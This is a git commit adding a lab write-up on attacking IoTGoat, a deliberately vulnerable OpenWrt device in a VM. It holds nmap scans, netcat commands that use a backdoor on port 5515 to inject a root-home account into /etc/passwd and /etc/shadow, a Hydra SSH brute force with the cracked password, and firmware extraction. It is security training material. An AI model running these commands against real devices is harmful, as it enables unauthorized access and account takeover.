Initial commit

main
TuDatTr 2021-08-15 13:09:50 +02:00
commit e9d1b989ee
1 changed files with 427 additions and 0 deletions

427
writeup.org Normal file
View File

@ -0,0 +1,427 @@
#+TITLE: Vulnerability Analysis - Writeup
#+SETUPFILE: ~/Templates/Org-Mode/setupfile.org
#+OPTIONS: toc:t
* Vulnerabilty Analysis
Given files:
#+begin_src sh :results output :exports results :cache yes
ls ./data/ -lA
#+end_src
#+RESULTS[b2b904e2665f4fe09a69e1facbda3d22aa1d52a2]:
: total 17492
: -rw-r--r-- 1 tuan tuan 424 Jun 29 13:33 passwords.txt
: -rw-r--r-- 1 tuan tuan 8126464 Jun 29 13:33 Syssec IoT Device.bin
: -rw-r--r-- 1 tuan tuan 9778176 Jun 29 13:33 Sysssec IoT Device.ova
- ~passwords.txt~: Password list for brute forcing
#+begin_src sh :results output :exports results :cache yes
file ./data/passwords.txt
#+end_src
#+RESULTS[9887fd52d26be897f6fa843f548990b642144182]:
: ./data/passwords.txt: ASCII text
- ~Syssec IoT Device.bin~: Firmware binary of target for static analysis
#+begin_src sh :results output :exports results :cache yes
file ./data/Syssec\ IoT\ Device.bin
#+end_src
#+RESULTS[ff51c377441d9f7dfd0c734d31c0893feeede0a8]:
: ./data/Syssec IoT Device.bin: firmware 4300 v1 OpenWrt r16916-7f946a880a, 8126464 bytes or less, at 0x200 2054221 bytes , at 0x1f5a50 2813038 bytes
- ~Sysssec IoT Device.ova~: Virtual Box image of target for dynamic analysis
#+begin_src sh :results output :exports results :cache yes
file ./data/Sysssec\ IoT\ Device.ova
#+end_src
#+RESULTS[53c007a32b9011d7a105840e3be7f389f9b36f8f]:
: ./data/Sysssec IoT Device.ova: POSIX tar archive
** Run device
I import the ~Syssec IoT Device.ova~ file into VirtualBox, which resulted in multiple errors.
- Network Error
#+begin_example
Could not start the machine Sysssec IoT Device because the following physical network interfaces Ire not found:
vboxnet0 (adapter 1)
You can either change the machine's network settings or stop the machine.
#+end_example
To fix this error I had to attatch a virtual networking device to the Virtual Machine (VM), I chose Network address translation (NAT).
- USB Error
After fixing the previous error a new error occured
#+begin_example
Implementation of the USB 2.0 controller not found!
Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings.
Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
#+end_example
The error message instructs us to install the ~Oracle VM VirtualBox Extension Pack~, lead the the same error.
So I tried to disable USB 2.0 support as the error message suggests, which made it possible to boot up the VM.
** Obtain IP address
Obtaining the devices IP address proved difficult as I had no ~vboxnet0~ interface.
To do this I had to add a network interface on the Virtual Box management interface.
After doing that I got the necessary network interface.
#+begin_src sh :results output :exports results :cache yes
ifconfig vboxnet0
#+end_src
#+RESULTS[9d5f961de2b4099f71f6cf401b22583d3a072f1c]:
: vboxnet0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
: inet 192.168.56.1 netmask 255.255.255.0 broadcast 192.168.56.255
: inet6 fe80::800:27ff:fe00:0 prefixlen 64 scopeid 0x20<link>
: ether 0a:00:27:00:00:00 txqueuelen 1000 (Ethernet)
: RX packets 0 bytes 0 (0.0 B)
: RX errors 0 dropped 0 overruns 0 frame 0
: TX packets 1072 bytes 48322 (47.1 KiB)
: TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
:
Afterwards an arpscan was possible:
#+begin_src sh :results output :exports results :cache yes :dir /sudo::. :async
arp-scan --interface vboxnet0 --local
#+end_src
#+RESULTS[6cf7ca6c49cdd14e88679b74c1caacd634f3f90a]:
: Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1
: Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
: 192.168.56.100 08:00:27:9c:58:bf PCS Systemtechnik GmbH
: 192.168.56.101 08:00:27:ec:b3:cb PCS Systemtechnik GmbH
:
: 2 packets received by filter, 0 packets dropped by kernel
: Ending arp-scan 1.9.7: 256 hosts scanned in 1.975 seconds (129.62 hosts/sec). 2 responded
This yielded us two IP Addresses:
- 192.168.56.100
- 192.168.56.101
** Vulnerable network services
Scanning both devices with nmap shows, that ~192.168.56.100~ doesn't have open ports, so it doesnt seem to be our target device.
Here I simply create a variable for our targets IP-address, so we don't have to remember it and enter it manually.
#+begin_src sh :exports none :cache yes
TARGET=192.168.56.101
echo $TARGET
#+end_src
#+RESULTS[e651e12124dbd06fdedd668151d35ece3ac2dd42]:
: 192.168.56.101
~192.168.56.101~ returns the following nmap scan:
#+begin_src sh :results output :exports both :cache yes :eval query :var TARGET="192.168.56.101" :async
nmap $TARGET -p-
#+end_src
#+RESULTS[abdd9931accb0b2a75ae935a706feaf4d361f9c7]:
#+begin_example
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 14:50 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00076s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
443/tcp open https
5515/tcp open unknown
65534/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 2626.73 seconds
#+end_example
After determining the open ports we can do a service scan(~-sV~) to find out which public facing services are running on the device.
#+begin_src sh :results output :exports both :cache yes :eval query :var TARGET="192.168.56.101" :async
nmap $TARGET -sV -sC -p22,53,80,443,5515, 65534
#+end_src
#+RESULTS[e38ef99c5c3c754b54d93c59593bdb167a14bfda]:
#+begin_example
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 15:58 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh Dropbear sshd (protocol 2.0)
53/tcp open domain dnsmasq 2.73
| dns-nsid:
|_ bind.version: dnsmasq-2.73
80/tcp open http LuCI Lua http config
|_http-title: Did not follow redirect to https://192.168.56.101/
443/tcp open ssl/http LuCI Lua http config
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=OpenWrt/organizationName=OpenWrtb63cc26f/stateOrProvinceName=Somewhere/countryName=ZZ
| Not valid before: 2021-06-10T16:38:31
|_Not valid after: 2023-06-10T16:38:31
|_ssl-date: 2021-06-30T14:01:34+00:00; -2s from scanner time.
5515/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, SMBProgNeg, SSLSessionReq, X11Probe:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| GenericLines:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| found
| found
| GetRequest:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| GET: not found
| found
| HTTPOptions, RTSPRequest:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| OPTIONS: not found
| found
| Help:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| HELP
| found
| Kerberos:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| found
| RPCCheck:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| syntax error: unexpected word (expecting ")")
| TLSSessionReq:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
| random1random2random3random4
| found
| TerminalServerCookie:
| [***]Successfully Connected to IoTGoat's Backdoor[***]
|_ Cookie:: not found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5515-TCP:V=7.91%I=7%D=6/30%Time=60DC789C%P=x86_64-unknown-linux-gnu
SF:%r(NULL,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B
SF:ackdoor\[\*\*\*\]\n")%r(GenericLines,59,"\[\*\*\*\]Successfully\x20Conn
SF:ected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20\r:\x20not\x20fo
SF:und\nsh:\x20\r:\x20not\x20found\n")%r(GetRequest,5B,"\[\*\*\*\]Successf
SF:ully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20GET:
SF:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(HTTPOptions,5F,"\[\*
SF:\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\
SF:]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(RT
SF:SPRequest,5F,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x2
SF:0Backdoor\[\*\*\*\]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not
SF:\x20found\n")%r(RPCCheck,69,"\[\*\*\*\]Successfully\x20Connected\x20to\
SF:x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20syntax\x20error:\x20unexpect
SF:ed\x20word\x20\(expecting\x20\"\)\"\)\n")%r(DNSVersionBindReqTCP,37,"\[
SF:\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\
SF:*\]\n")%r(DNSStatusRequestTCP,37,"\[\*\*\*\]Successfully\x20Connected\x
SF:20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(Help,4C,"\[\*\*\*\]Succes
SF:sfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20HE
SF:LP\r:\x20not\x20found\n")%r(SSLSessionReq,37,"\[\*\*\*\]Successfully\x2
SF:0Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(TerminalServe
SF:rCookie,52,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B
SF:ackdoor\[\*\*\*\]\nsh:\x20\x03\*%\xe0Cookie::\x20not\x20found\n")%r(TLS
SF:SessionReq,70,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x
SF:20Backdoor\[\*\*\*\]\nsh:\x20\x16\x03i\x01e\x03\x03U\x1c\xa7\xe4random1
SF:random2random3random4\x0c/:\x20not\x20found\n")%r(Kerberos,57,"\[\*\*\*
SF:\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\ns
SF:h:\x20qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01:\x20not\x20foun
SF:d\n")%r(SMBProgNeg,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoT
SF:Goat's\x20Backdoor\[\*\*\*\]\n")%r(X11Probe,37,"\[\*\*\*\]Successfully\
SF:x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 172.82 seconds
#+end_example
With the backdoor detected on port ~5515~ we can netcat onto it and get a shell.
To add the user =tuan= and with the password =password= we executed the following code snippets:
#+begin_src sh :results output :exports code :cache yes :var TARGET="192.168.56.101" :async
echo "echo tuan:x:1001:1001::/root:/bin/ash >> /etc/passwd;exit" | nc -nv $TARGET 5515
echo 'echo tuan:\$1\$123456\$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7::: >> /etc/shadow;exit' | nc -nv $TARGET 5515
echo "tuan:x:1001:1001::/root:/bin/ash"
echo 'tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::'
#+end_src
#+RESULTS[039dc4a8dc6a45686ec7e97d0ac51c628ce93b00]:
: [***]Successfully Connected to IoTGoat's Backdoor[***]
: [***]Successfully Connected to IoTGoat's Backdoor[***]
: tuan:x:1001:1001::/root:/bin/ash
: tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::
Afterwards we were able to log into our user via ~ssh~
The password was generated with
#+begin_src sh :exports code :cache yes
openssl passwd -1 -salt 123456 password
#+end_src
#+RESULTS[fd600f0a8ab1f15294d0abffc27f4f11ff37c46b]:
: $1$123456$qqQvjw0PqIk7otmzNsUIN0
** Brute-force Login
To brute force login via ~ssh~ on the user =iotgoatuser= we simply ran
#+begin_src sh :results output :exports both :cache yes :var TARGET="192.168.56.101" :async
hydra -l iotgoatuser -P ./data/passwords.txt ssh://$TARGET -t 4 -f
#+end_src
#+RESULTS[42182e6d888539352b4c89c24f7f634924c5b5f5]:
: Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
:
: Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-30 18:45:45
: [DATA] max 4 tasks per 1 server, overall 4 tasks, 60 login tries (l:1/p:60), ~15 tries per task
: [DATA] attacking ssh://192.168.56.101:22/
: [22][ssh] host: 192.168.56.101 login: iotgoatuser password: 7ujMko0vizxv
: [STATUS] attack finished for 192.168.56.101 (valid pair found)
: 1 of 1 target successfully completed, 1 valid password found
: Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-30 18:45:51
Another way would have been to get the ~/etc/shadow~ entry of ~iotgoatuser~ and cracking it localy with john to circumvent
any restrictions given by ~ssh~ like ~fail2ban~ etc. (even though restrictions like that are unlikly on an IoT device).
** Man-in-the-middle Attack
When visiting the webinterface of the IoT device we are greeted with =Warning: Potential Security Risk Ahead=, when using Firefox
#+begin_example
Warning: Potential Security Risk Ahead
Firefox detected a potential security threat and did not continue to 192.168.56.101. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.
#+end_example
When pressing on =Advanced...= we get some additional information about the error.
#+begin_example
192.168.56.101 uses an invalid security certificate.
The certificate is not trusted because it is self-signed.
Error code: MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT
#+end_example
*** Why do you get this warning message?
The reason why the warning message is shown is:
#+begin_example
The certificate is not trusted because it is self-signed.
#+end_example
as stated in the error message.
*** What could be done to +get+ prevent this message?
One could simply ignore the error by pressing =Accept the Risk and Continue=
*** Why is it in general hard to fix this problem for IoT devices?
The vendor would have to create an individual certificate for each of his devices.
Additionally each IoT device would need to regularily update it's certificate before it expires.
*** Analysis
Trying to login with the previously obtained credentials:
#+begin_example
user: iotgoatuser
password: 7ujMko0vizxv
#+end_example
unfortunatly didn't work.
**** Burp Suite
Firing up Burp and utilizing its internal chromium browser we try to login again.
We can see, that our request looked like this:
#+begin_example
POST /cgi-bin/luci HTTP/1.1
Host: 192.168.56.101
Content-Length: 52
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://192.168.56.101
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.56.101/cgi-bin/luci
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
luci_username=iotgoatuser&luci_password=7ujMko0vizxv
#+end_example
Trying to run sqlmap on the website didn't yield any results.
#+begin_src sh :results code :output none :eval no
sqlmap -u https://192.168.56.101/cgi-bin/luci --data "luci_username=iotgoatuser&luci_password=7ujMko0vizxv"
#+end_src
Throwing the original response of the website and the response after entering a wrong username/password combination didn't reveal any additional info.
#+CAPTION[authdiff]: Diff default response and "invalid username and/or password" response
#+NAME: authdiff
[[./21-06-30_15-59-14-java.png]]
** Analysis of Firmware Ima+ga+ge
*** Recon
#+begin_src sh :results output :exports both
binwalk ./data/Syssec\ IoT\ Device.bin
#+end_src
#+RESULTS:
:
: DECIMAL HEXADECIMAL DESCRIPTION
: --------------------------------------------------------------------------------
: 512 0x200 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 6562339 bytes
: 2054736 0x1F5A50 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2813038 bytes, 869 inodes, blocksize: 262144 bytes, created: 2021-06-09 11:16:45
:
*** Extraction
The extraction is done by using the previously obtained information.
#+begin_src sh :exports code :eval no
dd if=data/Syssec\ IoT\ Device.bin of=0x1F5A50 bs=1 skip=2054736 count=2813038
unsquashfs 0x1F5A50
#+end_src
The extracted filesystem is under ~./squashfs-root/~.
*** Analysis
**** Are you able to find the passwd and shadow file? What do they contain?
#+begin_src sh :results output :exports both :cache yes
cat squashfs-root/etc/passwd
#+end_src
#+RESULTS[bd599bdf9427946dd840747246866b138d5bfdd2]:
: root:x:0:0:root:/root:/bin/ash
: daemon:*:1:1:daemon:/var:/bin/false
: ftp:*:55:55:ftp:/home/ftp:/bin/false
: network:*:101:101:network:/var:/bin/false
: nobody:*:65534:65534:nobody:/var:/bin/false
: ntp:x:123:123:ntp:/var/run/ntp:/bin/false
: dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
: logd:x:514:514:logd:/var/run/logd:/bin/false
: ubus:x:81:81:ubus:/var/run/ubus:/bin/false
#+begin_src sh :results output :exports both :cache yes
cat squashfs-root/etc/shadow
#+end_src
#+RESULTS[d9dfe9a0e2a42424fee063c6190ed3b715ff967e]:
: root::0:0:99999:7:::
: daemon:*:0:0:99999:7:::
: ftp:*:0:0:99999:7:::
: network:*:0:0:99999:7:::
: nobody:*:0:0:99999:7:::
: ntp:x:0:0:99999:7:::
: dnsmasq:x:0:0:99999:7:::
: logd:x:0:0:99999:7:::
: ubus:x:0:0:99999:7:::
**** Do you find certificates?
#+begin_src sh :results output :exports both :cache yes
find squashfs-root/ -name "*.crt"
#+end_src
#+RESULTS[d7b10ade4d4eb27ef98ba27e87a87601d79a9c0f]:
: squashfs-root/etc/ssl/certs/ca-certificates.crt
**** Can you find the secret developer diagnostics page?